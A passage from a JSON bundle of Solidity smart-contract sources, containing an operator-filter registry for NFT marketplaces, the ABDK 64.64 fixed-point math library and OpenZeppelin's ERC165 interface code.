"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <[email protected]>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n 